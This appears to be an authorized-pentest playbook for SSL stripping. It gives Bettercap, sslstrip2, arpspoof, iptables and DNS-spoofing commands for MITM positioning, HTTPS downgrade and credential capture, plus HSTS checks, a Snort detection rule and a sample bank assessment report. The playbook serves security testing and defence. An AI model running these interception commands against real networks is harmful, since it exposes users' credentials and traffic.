Performing Ssl Stripping Attack

TL;DR

• 目的：>- Simulates SSL stripping / HTTPS downgrade attacks using sslstrip, Bettercap, and mitmproxy in authorized lab environments to test HSTS en…
• 适用：云/K8s/容器/配置审计
• 输入：目标 URL + 端点/参数清单
• 输出：可复现 POC + 利用步骤
• 红线：仅限授权范围内；破坏性 POC 先用只读变体；全 RCE 前明确批准
• 关联：上游：003-src-session-start → 下游：043-hunt-nosqli, 027-hunt-cors, 028-hunt-csrf

Performing SSL Stripping Attack

When to Use

• Testing whether web applications properly enforce HTTPS through HSTS headers and redirect chains
• Validating that HSTS preloading is correctly configured and registered in browser preload lists
• Demonstrating the risk of cleartext HTTP to stakeholders during authorized security assessments
• Assessing whether internal applications and thick clients validate TLS certificates and reject downgrades
• Training SOC teams to detect SSL stripping indicators in network traffic

Do not use against networks or applications without explicit written authorization, to intercept real user credentials, or against production systems during business hours without change management approval.

Prerequisites

• Written authorization specifying in-scope applications and approved attack techniques
• Bettercap 2.x or sslstrip2 installed on the attacker machine
• ARP spoofing or other MITM positioning established (see ARP spoofing skill)
• IP forwarding enabled on the attacker machine
• Wireshark for verifying attack success and capturing evidence
• Test accounts (not real user credentials) for demonstrating credential interception

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1: Establish MITM Position

# Enable IP forwarding
sudo sysctl -w net.ipv4.ip_forward=1

# Position via ARP spoofing using Bettercap
sudo bettercap -iface eth0 -eval "set arp.spoof.targets 192.168.1.50; arp.spoof on"

# Alternatively, use arpspoof from dsniff
sudo arpspoof -i eth0 -t 192.168.1.50 -r 192.168.1.1 &

Step 2: Execute SSL Stripping with Bettercap

# Start Bettercap with SSL stripping
sudo bettercap -iface eth0

# Enable ARP spoofing
> set arp.spoof.targets 192.168.1.50
> set arp.spoof.fullduplex true
> arp.spoof on

# Enable HTTP proxy with SSL stripping
> set http.proxy.sslstrip true
> set http.proxy.port 8080
> http.proxy on

# Enable network sniffer for credential capture
> set net.sniff.verbose true
> net.sniff on

# Watch for intercepted HTTP traffic (was HTTPS)
# Bettercap will show credentials and URLs in real-time

Step 3: Execute SSL Stripping with sslstrip2

# Configure iptables to redirect HTTP traffic through sslstrip
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000

# Start sslstrip
sudo sslstrip2 -l 10000 -w sslstrip_log.txt

# In another terminal, monitor the log for intercepted credentials
tail -f sslstrip_log.txt | grep -i "pass\|user\|login\|email"

# sslstrip works by:
# 1. Intercepting HTTP responses containing HTTPS links
# 2. Replacing https:// with http:// in the response
# 3. Maintaining HTTPS connection to the real server
# 4. Serving downgraded HTTP to the victim

Step 4: Test HSTS Bypass Techniques

# Check if target has HSTS header
curl -sI https://target-app.example.com | grep -i strict-transport-security

# Check if target is on the HSTS preload list
curl -s "https://hstspreload.org/api/v2/status?domain=example.com" | python3 -m json.tool

# Test HSTS bypass via subdomain substitution
# sslstrip2 can replace URLs with similar-looking HTTP alternatives:
# https://accounts.google.com -> http://accounts.google.com (fails if HSTS)
# https://accounts.google.com -> http://accounts.google.com. (trailing dot bypass attempt)

# Bettercap HSTS bypass with DNS spoofing
sudo bettercap -iface eth0
> set arp.spoof.targets 192.168.1.50
> arp.spoof on
> set dns.spoof.domains target-app.example.com
> set dns.spoof.address 192.168.1.99
> dns.spoof on
> set http.proxy.sslstrip true
> http.proxy on

# For applications not on HSTS preload, clear HSTS cache in test browser:
# Chrome: chrome://net-internals/#hsts -> Delete domain security policies
# Firefox: Clear recent history -> Active Logins (resets HSTS)

Step 5: Validate Detection and Controls

# Check from victim's perspective:
# 1. Browser address bar should show http:// instead of https://
# 2. No padlock icon visible
# 3. If HSTS is effective, browser should show error and refuse connection

# Capture evidence of the downgrade
tshark -i eth0 -f "host 192.168.1.50 and port 80" \
  -T fields -e frame.time -e ip.src -e ip.dst -e http.host -e http.request.uri \
  -Y "http.request" > ssl_strip_evidence.txt

# Verify what the victim sees vs what goes to the real server
# Victim to attacker: HTTP (port 80, cleartext)
tshark -i eth0 -f "src host 192.168.1.50 and dst port 80" -c 20

# Attacker to real server: HTTPS (port 443, encrypted)
tshark -i eth0 -f "dst port 443 and dst host <real_server_ip>" -c 20

# Check IDS/SIEM for detection
# Snort rule that should detect SSL stripping indicators:
# alert tcp any any -> $HOME_NET 80 (msg:"Possible SSL Strip - Login form over HTTP";
#   flow:to_client,established; content:"type=\"password\""; nocase;
#   content:"http://"; nocase; sid:9000010;)

# Check for HSTS missing header alerts
curl -s http://target-app.example.com | grep -i "password\|login"
# If login form is served over HTTP, SSL stripping succeeded

Step 6: Clean Up and Report

# Stop SSL stripping
# In Bettercap:
> http.proxy off
> arp.spoof off
> quit

# Remove iptables rules
sudo iptables -t nat -F PREROUTING

# Disable IP forwarding
sudo sysctl -w net.ipv4.ip_forward=0

# Kill background processes
sudo killall sslstrip2 arpspoof 2>/dev/null

# Verify network is restored
ping -c 1 192.168.1.1

Key Concepts

Tools & Systems

• Bettercap 2.x: Network attack framework with integrated SSL stripping, HTTP/HTTPS proxying, and credential sniffing
• sslstrip2: Dedicated SSL stripping tool that transparently downgrades HTTPS to HTTP with URL rewriting
• mitmproxy: TLS-intercepting proxy that can modify response headers to remove HSTS and other security headers
• curl: Command-line tool for testing HSTS headers, redirect chains, and certificate validation
• hstspreload.org: Public HSTS preload list checker for verifying domain inclusion in browser preload databases

Common Scenarios

Scenario: Testing HSTS Implementation on a Banking Web Application

Context: A bank deployed HSTS on their online banking portal (banking.example.com) six months ago and wants to verify it effectively prevents SSL stripping. The assessment is authorized to test from a workstation on the same VLAN as the test environment using dedicated test accounts.

Approach:

1. Verify HSTS header presence and values: curl -sI https://banking.example.com | grep -i strict reveals max-age=31536000; includeSubDomains; preload
2. Check HSTS preload status: confirmed the domain is on Chrome and Firefox preload lists
3. Set up Bettercap with ARP spoofing and SSL stripping against a test workstation
4. Attempt to access banking.example.com from the test workstation -- Chrome refuses connection with NET::ERR_CERT_AUTHORITY_INVALID (HSTS prevents downgrade)
5. Test with a fresh browser profile (no HSTS cache) -- still blocked because domain is preloaded
6. Test the bank's mobile app -- app successfully connects over HTTP (does not enforce HSTS), exposing credentials in cleartext
7. Test subdomain api.banking.example.com -- not on preload list, SSL stripping succeeds on first visit before HSTS header is cached

Pitfalls:

• Testing with a browser that already has HSTS cached for the target domain and concluding HSTS works, when a first-time visitor might be vulnerable
• Not testing subdomains separately -- includeSubDomains only works after the parent domain's HSTS header is received
• Forgetting to test mobile applications which may not respect HSTS headers at all
• Not checking for mixed content that could leak session tokens even with HSTS enabled

Output Format

## SSL Stripping Assessment Report

**Test ID**: SSL-STRIP-2024-001
**Target Application**: banking.example.com
**Test Date**: 2024-03-15

### HSTS Configuration

| Property | Value | Status |
|----------|-------|--------|
| HSTS Header Present | Yes | PASS |
| max-age | 31536000 (1 year) | PASS |
| includeSubDomains | Yes | PASS |
| preload | Yes | PASS |
| In Chrome Preload List | Yes | PASS |

### SSL Stripping Test Results

| Target | Client | HSTS Status | Strip Result |
|--------|--------|-------------|--------------|
| banking.example.com | Chrome (cached) | Active | BLOCKED |
| banking.example.com | Chrome (fresh) | Preloaded | BLOCKED |
| banking.example.com | Mobile App | Not Enforced | VULNERABLE |
| api.banking.example.com | Chrome (fresh) | Not Preloaded | VULNERABLE (first visit) |

### Recommendations
1. Implement TLS certificate pinning in the mobile banking app (Critical)
2. Submit api.banking.example.com to HSTS preload list separately
3. Add Content-Security-Policy: upgrade-insecure-requests header
4. Implement certificate transparency monitoring for the domain

Validation Criteria

A successful discovery of this vulnerability class must demonstrate:

• POC reproducible against fresh target instance (timestamp documented)
• Impact scope quantified (data leaked / privilege gained / RCE achieved)
• CVSS or business risk score assigned
• Authorization scope documented (B SRC vs target, A 项目 vs 全量)
• No destructive side effects (if RCE, sandboxed proof preferred)
• Affected endpoint clearly identified with full URL/request

If any of these cannot be demonstrated, treat the finding as inconclusive and run 111-fp-check for cross-verification.